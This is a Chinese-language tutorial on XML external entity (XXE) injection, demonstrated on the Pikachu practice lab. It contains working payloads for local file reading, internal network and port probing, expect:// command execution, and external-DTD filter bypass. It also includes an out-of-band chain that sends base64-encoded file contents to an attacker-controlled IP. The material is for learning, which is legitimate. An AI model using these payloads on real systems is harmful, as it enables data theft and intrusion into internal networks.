#概念
xml:xml被设计成传输和储存数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容。就类似于一种数据的格式,代码类的一些东西;
xxe:是xml上面的一个漏洞,也被称之为xxe实体注入,漏洞名字叫xml外部实体注入漏洞。
xml是一种数据传出的代码语言,xxe是上面的一个漏洞的全称写法。但是产生在xml上的安全问题。
#危害
文件读取,rce执行,内网攻击,dos攻击
大部分的危害都是可以加载恶意外部文件,然后造成的上面的危害
xml与html的主要差异;xml被设计为传输和储存数据,其焦点是数据的内容。html被设计用来显示数据,其焦点是数据的外观。html指在显示信息,而xml指在传输信息。
判定这个漏洞存在之后,我们该如何去利用,分为两种,第一种是输出形式,利用的结果显示,分为两种情况,一种情况是有回显,一种是回显;比如说要用文件读取,文件读取的内容数据能不能正常的给你回显看到,有回显玩法更多,。
无回显就借助外部引用,进行反向连接配合;
除了这个形式,还有一个过滤,我们绕过思路就是采用协议玩法,换一种协议去执行想要的结果,或者采用外部引用,把核心代码写到外部东西上面去,DTD上面去实现绕过,还有一种编码把一些关键词进行编码,达到关键字的绕过,根据具体情况选出不同的方案。
##演示案例,pikachu靶场
我们先不管是怎么产生的,我们发现这个靶场有这个漏洞,直接去利用他
文件读取
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///d://w.txt"> ]> <x>&xxe;</x>
这个代码是通用的,读取d盘下面w.txt文件的内容,在靶场的框里面直接复制粘贴
就读取到了
内网探针或攻击内网应用(触发漏洞地址)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<x>&rabbit;</x> 作者:shtome https://www.bilibili.com/read/cv13343258/ 出处:bilibili
看内网有没有开放端口,能不能访问
也可以借助该方法触发漏洞
这个复制粘贴到靶场去
这个就表示有这么个文件,而把index.txt换成一个随便写的文件
返回的就是这种,这个就是不存在这个文件,
这个pyload就是可以帮你确定那个地址有没有那个地址存在,也属于进行了一个端口扫描,看那个端口开不开发。
可以帮忙判定一些内网的信息,
内网探测
RCE-远程代码执行
php环境需要安装expect扩展,我这边用的phpstudy集成环境,没看到这个扩展,故未验证。
这个很难碰到对面有没有开这个扩展,有没有过滤,都会影响
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
引入外部实体dtd
把恶意代码写入dtd文件,再让网站访问dtd,执行其中的代码
需要允许外部实体引用才能实现
<?xml version = "1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://192.168.31.210:8080/evil2.dtd"> %file; ]> <x>&send;</x>
可以自定义攻击代码,还可以绕过部分防御软件
那个dtd可以理解为他是上面的xml的格式文件,他去访问dtd里面内容就会当作xml语言代码去执行,
所以在dtd里面可以写一些这么内容
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/w.txt">
就会用file去读取d盘的test文件,
这个很简单就是让他去访问那个dtd文件,然后执行文件里面的xml代码,
条件:看对方代码里面有没有禁止外部实体引用,这也是一种防御手段。
类似于文件包含,类似远程包含原理,这个就是可以远程引用,核心代码在1dtd上面,第一个就是自定义攻击代码,第二种为了绕过一些防御软件代码,绕过对面有waf和检测会跟着用户行为,发现读取就会拦截等等,把核心代码放在服务器远程去请求执行核心代码。
然后直接复制粘贴那个代码
还是会显示出来内容
结果就是读取到了文件内容。
然后把靶场的源码改为无回显模式
再粘贴那个读取语句就什么都不会返回了
无回显利用
原理是自己本地搭建一个网站,xxe漏洞让目标网站带着读取到的数据访问我们的网站,然后我们再在本地日志查看数据即可。
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.31.210:8088/test.dtd">
%dtd;
%send;
]>
-----如果代码不能用就是符合的问题,英文手打一编就好-------
在上面里面用的php协议进行一个base64编码读取的test.txt的内容;读取之后会复制给变量file。
之后去访问一个远程地址dtd,
远程dtd内容://test.dtd,这里的%是%的编码,因为dtd中不能有%
<!ENTITY % payload
"<!ENTITY % send SYSTEM
'http://192.168.31.210:8088/?data=%file;'>"
>
%payload;
最后这个是去访问指定地址,会把变量file给data这个变量,然后这时候就可以写一个接受代码,或者去开启一下日志查看,都可以查看到读取的内容了,
日志查看
这个文件内容的base64加密指,解码一下就好了,
不回显,就让对方去反向链接,
在ctf实战中会出现
ss